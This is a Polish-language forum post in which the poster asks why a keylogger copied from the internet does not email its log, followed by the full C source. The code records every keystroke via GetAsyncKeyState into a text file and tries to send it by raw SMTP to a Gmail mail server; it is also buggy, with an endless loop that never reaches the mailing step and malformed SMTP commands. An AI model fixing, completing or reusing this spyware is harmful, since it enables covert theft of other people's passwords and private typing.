Witam! Chciałbym się zapytać czemu po włączeniu tego programu nic nie dostaje na email i jak on działa.(co trzeba zrobić żeby wysłało plik txt na email) Kod jest z internetu poprawiony przeze mnie (Znam podstawy tego języka)
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#define KEYPRESSED -32767
FILE* file;
void Email(char* server, char* to, char* from, char* subject, char* message);
int main(int argc, char* argv[])
{
char Key;
int index;
int lenght;
char* buffer;
file = fopen("test.txt", "a+");
if (file != NULL) {
while (true) {
Sleep(1);
for (Key = 8; Key <= 255; Key++) {
file = fopen("test.txt", "a+");
if (GetAsyncKeyState(Key) == KEYPRESSED) {
switch (Key) {
case VK_SPACE:
fprintf(file, " ");
break;
default:
fprintf(file, "%c", Key);
break;
}
}
fclose(file);
}
}
file = fopen("test.txt", "rb");
fseek(file, 0, SEEK_END);
lenght = ftell(file);
if (lenght >= 60) {
fseek(file, 0, SEEK_SET);
buffer = (char*)malloc(lenght);
index = fread(buffer, 1, lenght, file);
buffer[index] = '\0';
Email((char*)"gmail-smtp-in-l-google.com", (char*)"mojemail@gmail.com", (char*)"mojemail@gmail.com", (char*)"Log", buffer);
fclose(file);
file = fopen("text.txt", "w");
}
fclose(file);
}
return 0;
}
void Email(char* server, char* to, char* from, char* subject, char* message)
{
SOCKET sockfd;
WSADATA wsaData;
hostent* host;
sockaddr_in dest;
int sent;
char line[200];
if (WSAStartup(0x202, &wsaData) != SOCKET_ERROR) {
if ((host = gethostbyname(server)) != NULL) {
memset(&dest, 0, sizeof(dest));
memcpy(&(dest.sin_addr), host->h_addr, host->h_length);
dest.sin_family = host->h_addrtype;
dest.sin_port = htons(25);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr*)&dest, sizeof(dest));
strncat(line, to, strlen(from));
sent = send(sockfd, line, strlen(line), 0);
Sleep(500);
strncat(line, to, strlen(to));
sent = send(sockfd, line, strlen(line), 0);
Sleep(500);
strcat(line, to);
strcat(line, "\n");
strcat(line, from);
strcat(line, "\n");
strcat(line, subject);
strcat(line, "\n");
strcat(line, message);
strcat(line, "\r.\n");
sent = send(sockfd, line, strlen(line), 0);
Sleep(500);
}
}
closesocket(sockfd);
WSACleanup();
}